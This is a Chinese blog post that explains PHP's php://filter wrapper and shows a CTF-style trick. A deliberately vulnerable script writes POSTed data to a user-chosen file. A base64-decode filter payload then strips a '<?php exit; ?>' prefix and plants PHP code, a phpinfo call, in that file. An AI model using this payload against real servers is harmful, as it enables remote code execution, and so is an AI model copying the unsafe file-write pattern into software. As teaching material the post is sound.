首页 > 编程语言 >php;//filter的介绍和应用

php;//filter的介绍和应用

时间:2022-11-22 11:56:10浏览次数:62  
标签:字符 应用 解码 base64 filter file php

知识点

php://filter

php://filter是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用,作用是作为一个“中间流”来处理其他流。
php://filter目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。

名称 描述 备注
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
PHP file_put_contents()

file_put_contents() 函数把一个字符串写入文件中。
file_put_contents(file,data,mode,context)
file 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data 可选。规定要写入文件的数据。可以是字符串、数组或数据流。


实例介绍

eee.php
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
?>

当用户通过POST方式提交一个数据时,会和exit拼接,从而造成提交的数据不能被执行。

txt=aPD9waHAgcGhwaW5mbygpOyA/Pg==&filename=php://filter/write=convert.base64-decode/resource=b.png

向b.png写入,解码后的$content拼接上txt的内容
base64编码中只包含64个可打印字符,当PHP遇到不可解码的字符时,会选择性的跳过,这个时候base64就相当于以下的过程:

<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);

所以,当$content 包含 <?php exit; ?>时,解码decode过程会先去除识别不了的字符,都将被去除,于是剩下的字符就只有phpexit以及我们传入的字符了。由于base64是4个byte一组,再添加一个字符例如添加字符’a’后,将’phpexita’当做两组base64进行解码,也就绕过这个死亡exit了。

phpexitaPD9waHAgcGhwaW5mbygpOyA/Pg==
phpe xita aPD9 waHA ... ...
phae xita 解码失败

image

后面分组正常能继续正常解码

image

此处参考:从一题CTF学习php://filter伪协议

标签:字符,应用,解码,base64,filter,file,php
From: https://www.cnblogs.com/1zpeasy/p/16914687.html

相关文章

  • php中的array_unshift() 新增一个元素在数组开头 -- 简单实现
    array_unshiftarray_unshift()函数在数组开头插入一个或多个元素。被加上的元素作为一个整体添加,这些元素在数组中的顺序和在参数中的顺序一样。该函数会返回数组中元素......
  • 低代码应用搭建平台 基于低代码快速开发管理系统
    很多时候,市场上的管理软件鱼龙混杂,找一些外包团队在实际应用中效果并不理想,项目中存在的问题也比较棘手。后面了解到白码低代码开发工具,可以让没有编程基础的人都可以短时......
  • PHP实现读取一个1G的文件大小
     【背景】:由于file函数是一次性将所有内容读入内存,而php为了防止一些写的比较糟糕的程序占用太多的内存而导致系统内存不足,使服务器出现宕机,所以要想点好办法。<?php$......
  • php动态规划
    问题:假设有一个背包的负重最多可达8公斤,而希望在背包中装入负重范围内可得之总价物品,假设是水果好了,水果的编号、单价与重量如下所示:1栗子4KG$45002苹果5KG$57003橘......
  • php切片上传
    由来:在上传文件过程中,如果文件过大第一占用服务器带宽,所以为了减少网络代码,提高用户体验度在客户端【浏览器】首先将资源【图片,资源】使用分页原理将资源切分,然后上传至服......
  • 用php入门网络编程
    学习思路以下是我对学习网络编程的一个简单的学习思路,之后我将会按照这个计划去逐步学习网络编程相关的知识。step1.原生php实现TCPServer->原生php实现http协议->掌......
  • php-socket
    网络中是如何通信数据传输?ip+端口+协议实现网络进程之间的通信,几乎所有的应用程序都是采用socket,“一切皆socket”。HTTPTCPSOCKET区别Http协议:对应于应用层。Http协......
  • 5分钟搭建图片压缩应用
    摘要:用华为云函数工作流FunctionGraph搭建图片压缩应用。本文分享自华为云社区《真正的按需计费丨函数工作流FunctionGraph实战,5分钟搭建图片压缩应用》,作者:华为云PaaS服......
  • 【AGC】调测应用内消息服务的收不到弹窗的问题
    ​问题背景:在集成华为AGC-应用内消息服务SDK到应用,但是在调测的时候,只有华为手机能收到弹窗,两台小米手机无法收到。调测配置消息的时候,也没有设置过滤手机型号的条件。-......
  • 【快应用】account.authorize授权码模式登录报错1102
    ​现象描述在快应用中调用 account.authorize 接口获取AuthorizationCode。应用在其服务端发送请求(必须使用POST方式)到华为OAuth2.0授权服务的“https://oauth-login.c......